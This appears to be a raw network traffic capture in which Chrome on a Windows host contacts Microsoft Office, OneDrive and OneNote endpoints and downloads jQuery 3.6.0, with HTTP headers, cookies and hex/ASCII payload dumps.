2024-10-25 08:19:18 UTC	925	IN	HTTP/1.1 403 Forbidden Cache-Control: private Content-Length: 1233 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: cfe276ce-d619-43b4-982b-45e05346a1dd X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C89 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true X-OFFICEFD: SN3PEPF00017C89 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_visioslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 56F23CCEFD2241EB9F13FFA8295EA540 Ref B: DFW311000105033 Ref C: 2024-10-25T08:19:17Z Date: Fri, 25 Oct 2024 08:19:18 GMT Connection: close
2024-10-25 08:19:18 UTC	1233	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 33 20 2d 20 46 6f 72 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>403 - For

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49951	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:17 UTC	986	OUT	GET /oa/WacOAuth.aspx?replyUrl=https://onenote.officeapps.live.com&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&WacUserType=WOPI&sv=1&msalv3=1 HTTP/1.1 Host: oauth.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://onenote.officeapps.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:19:18 UTC	2516	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 4577 Content-Type: text/html; charset=utf-8 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: PUS11-ARRAffinity=9ea258528c12fc9b9a93ce6660789fc58d2ad73c9d536bd62f098877fcbfb31c;Path=/;Domain=oauth.officeapps.live.com; samesite=none; secure; partitioned; httponly X-CorrelationId: 5e98bbce-31f2-4f08-83bd-edd6ce550d70 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Origin-Trial: AtFKAQdG+ydQM/bvbc5Qxv930XARVdP6iEmsQLrizs1HYDZnXMf7/f8oOaknwmnnXoTmlFWim3Ptj/bW7MfeElEAAABteyJvcmlnaW4iOiJodHRwczovL29mZmljZWFwcHMubGl2ZS5jb206NDQzIiwiaXNTdWJkb21haW4iOnRydWUsImZlYXR1cmUiOiJIYXB0aWNzRGV2aWNlIiwiZXhwaXJ5IjoxNzQ0MzA5NDUyfQ== Origin-Trial: AhQJUzE5LCv5KHvmQov3fZhTT0W3oRbJWD7uk+pw4EemPcV5dWZzr8wiGtZj/dh81uDAw0I9lZ30j8otVRSRQwYAAABkeyJvcmlnaW4iOiJodHRwczovL29mZmljZWFwcHMubGl2ZS5jb206NDQzIiwiZmVhdHVyZSI6IlRwY2QiLCJleHBpcnkiOjE3MzUzNDM5OTksImlzU3ViZG9tYWluIjp0cnVlfQ== Origin-Agent-Cluster: ?1 X-OfficeFE: SN3PEPF00017D6A X-OfficeVersion: 16.0.18218.41000 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * Content-Security-Policy: default-src 'none'; script-src 'self' wise.public.cdn.office.net wise-backup.public.onecdn.static.microsoft ajax.aspnetcdn.com 'nonce-8893ddeb-8768-4637-91fe-20ed64f45f04'; connect-src 'self' https://login.microsoftonline.com https://login.live.com https://.access.mcas.ms https://.access.mcas-gov.ms https://browser.events.data.microsoft.com; child-src 'self' https://login.microsoftonline.com https://login.live.com https://.access.mcas.ms https://.access.mcas-gov.ms https://browser.events.data.microsoft.com; font-src 'self'; frame-src 'self' https://login.microsoftonline.com https://login.live.com https://.access.mcas.ms https://.access.mcas-gov.ms https://browser.events.data.microsoft.com; img-src https://*.online.office.com; style-src 'nonce-5e5b1a7b-69ce-4f8b-970d-9550d314960a'; report-uri /oa/reportcsp.ashx X-OFFICEFD: SN3PEPF00017AF1 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 2564E417B84345C899872C0A7DEF4078 Ref B: DFW311000108045 Ref C: 2024-10-25T08:19:17Z Date: Fri, 25 Oct 2024 08:19:17 GMT Connection: close
2024-10-25 08:19:18 UTC	1181	IN	Data Raw: 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 09 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 0d 0a 0d 0a 3c 2f 74 69 74 6c 65 3e 0d 0a 09 09 3c 73 74 79 6c 65 20 69 64 3d 22 73 68 61 72 65 64 61 75 74 68 73 74 79 6c 65 73 22 20 6e 6f 6e 63 65 3d 22 35 65 35 62 31 61 37 62 2d 36 39 63 65 2d 34 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title></title><style id="sharedauthstyles" nonce="5e5b1a7b-69ce-4
2024-10-25 08:19:18 UTC	3396	IN	Data Raw: 72 69 70 74 22 3b 0d 0a 09 09 09 09 62 61 63 6b 75 70 53 63 72 69 70 74 2e 73 72 63 20 3d 20 22 68 74 74 70 73 3a 2f 2f 77 69 73 65 2d 6d 2d 62 61 63 6b 75 70 2e 70 75 62 6c 69 63 2e 6f 6e 65 63 64 6e 2e 73 74 61 74 69 63 2e 6d 69 63 72 6f 73 6f 66 74 2f 77 69 73 65 2f 6f 77 6c 2f 73 68 61 72 65 64 61 75 74 68 63 6c 69 65 6e 74 6d 73 61 6c 2e 33 39 64 63 64 66 37 30 61 32 34 33 34 34 33 36 31 31 37 62 2e 6a 73 22 3b 0d 0a 09 09 09 09 62 61 63 6b 75 70 53 63 72 69 70 74 2e 69 6e 74 65 67 72 69 74 79 20 3d 20 22 73 68 61 33 38 34 2d 74 70 76 6a 67 35 33 63 6e 41 59 35 4b 75 34 48 38 52 6b 4e 49 4b 75 52 59 50 59 6b 5a 71 67 47 65 71 2b 54 56 77 6f 6c 51 78 30 66 6a 69 56 32 6b 37 4a 4e 41 56 32 4c 72 38 4c 72 77 44 44 6f 22 3b 0d 0a 09 09 09 09 62 61 63 6b Data Ascii: ript";backupScript.src = "https://wise-m-backup.public.onecdn.static.microsoft/wise/owl/sharedauthclientmsal.39dcdf70a2434436117b.js";backupScript.integrity = "sha384-tpvjg53cnAY5Ku4H8RkNIKuRYPYkZqgGeq+TVwolQx0fjiV2k7JNAV2Lr8LrwDDo";back

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49954	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:18 UTC	797	OUT	POST /suite/RemoteUls.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&officeserverversion= HTTP/1.1 Host: common.online.office.com Connection: keep-alive Content-Length: 2336 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PUS11-ARRAffinity=10bd8af04c8343026a510214a1dab485a6c47e3c6c1c8f53480acbb2c880b54b
2024-10-25 08:19:18 UTC	2336	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 32 36 30 30 31 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 30 37 35 33 31 36 38 31 2c 22 54 22 3a 31 35 38 39 2c 22 4d 22 3a 22 4a 53 41 50 49 20 73 63 72 69 70 74 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 6c 6f 61 64 65 64 20 66 6f 72 20 4f 6e 65 4e 6f 74 65 20 77 69 74 68 20 4f 57 4c 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 32 30 7d 2c 7b 22 47 22 3a 35 32 31 31 36 34 32 33 38 2c 22 54 22 3a 31 35 38 39 2c 22 4d 22 3a 22 4f 6e 65 4e 6f 74 65 4a 73 41 70 69 56 32 47 61 74 65 3a 20 44 69 73 61 62 6c 65 64 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 35 36 36 31 33 38 39 35 2c 22 54 22 3a 31 35 39 31 2c 22 4d 22 3a 22 67 65 74 44 69 61 67 6e 6f 73 74 69 63 73 3a 20 5b 53 65 73 73 69 6f 6e 4f Data Ascii: {"T":1729844326001,"L":[{"G":507531681,"T":1589,"M":"JSAPI script successfully loaded for OneNote with OWL","C":3027,"D":20},{"G":521164238,"T":1589,"M":"OneNoteJsApiV2Gate: Disabled","C":3027,"D":50},{"G":556613895,"T":1591,"M":"getDiagnostics: [SessionO
2024-10-25 08:19:18 UTC	4380	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 512f6d65-e34f-45c7-9d4e-7f1f0b32dda6 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 X-OfficeFE: SN3PEPF00017D6D X-OfficeVersion: 16.0.18218.41000 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017AF2 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2oge=afd_wordcapacity_3_control,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_visioslice,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_3_control,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 7B10FCE178F34EE1AEAE5A9D0DC84BE9 Ref B: DFW311000104045 Ref C: 2024-10-25T08:19:18Z Date: Fri, 25 Oct 2024 08:19:17 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49953	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:18 UTC	686	OUT	POST /suite/RemoteTelemetry.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: common.online.office.com Connection: keep-alive Content-Length: 630 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:18 UTC	630	OUT	Data Raw: 7b 22 64 22 3a 7b 22 61 22 3a 22 4f 6e 65 4e 6f 74 65 22 2c 22 63 22 3a 22 55 6e 69 66 69 65 64 55 69 48 6f 73 74 22 2c 22 64 22 3a 22 55 4e 49 46 49 45 44 55 49 48 4f 53 54 22 2c 22 6a 22 3a 22 32 30 32 34 31 30 32 32 2e 34 22 2c 22 72 22 3a 66 61 6c 73 65 2c 22 73 22 3a 22 22 2c 22 77 22 3a 22 64 37 39 32 62 65 63 39 2d 66 65 62 36 2d 34 62 39 33 2d 62 38 63 33 2d 64 32 35 62 35 36 37 62 30 66 63 34 22 2c 22 78 22 3a 22 4e 61 76 69 67 61 74 69 6f 6e 55 72 6c 22 2c 22 7a 22 3a 22 6f 6e 65 64 72 69 76 65 63 6f 6d 22 2c 22 61 63 22 3a 22 65 64 69 74 61 73 70 78 22 7d 2c 22 61 22 3a 7b 22 55 55 49 48 54 61 72 67 65 74 41 70 70 22 3a 22 4f 6e 65 4e 6f 74 65 22 2c 22 48 65 61 6c 74 68 53 6f 75 72 63 65 43 6f 6d 70 6f 6e 65 6e 74 22 3a 22 55 6e 69 66 69 65 64 Data Ascii: {"d":{"a":"OneNote","c":"UnifiedUiHost","d":"UNIFIEDUIHOST","j":"20241022.4","r":false,"s":"","w":"d792bec9-feb6-4b93-b8c3-d25b567b0fc4","x":"NavigationUrl","z":"onedrivecom","ac":"editaspx"},"a":{"UUIHTargetApp":"OneNote","HealthSourceComponent":"Unified
2024-10-25 08:19:18 UTC	1273	IN	HTTP/1.1 200 OK Cache-Control: private P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: PUS11-ARRAffinity=10bd8af04c8343026a510214a1dab485a6c47e3c6c1c8f53480acbb2c880b54b;Path=/;Domain=common.online.office.com; samesite=none; secure; partitioned; httponly X-CorrelationId: f9aa1ae8-2ab9-4d93-ab6e-31c839dcc5a2 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 X-OfficeFE: SN3PEPF00017D6D X-OfficeVersion: 16.0.18218.41000 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017AF1 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2oge=afd_wordcapacity_3_control,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_onenoteslice,afd_visioslice_control,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_3_control,afd_excelslicetest X-MSEdge-Ref: Ref A: E7999FCA31E84C72BB1A5C85F5B99F04 Ref B: DFW311000108017 Ref C: 2024-10-25T08:19:18Z Date: Fri, 25 Oct 2024 08:19:17 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49959	151.101.130.137	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:18 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:18 UTC	609	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 25 Oct 2024 08:19:18 GMT Age: 861220 X-Served-By: cache-lga21931-LGA, cache-dfw-kdal2120062-DFW X-Cache: HIT, HIT X-Cache-Hits: 2, 2 X-Timer: S1729844359.614010,VS0,VE0 Vary: Accept-Encoding
2024-10-25 08:19:18 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-10-25 08:19:18 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-10-25 08:19:18 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-10-25 08:19:18 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-10-25 08:19:18 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
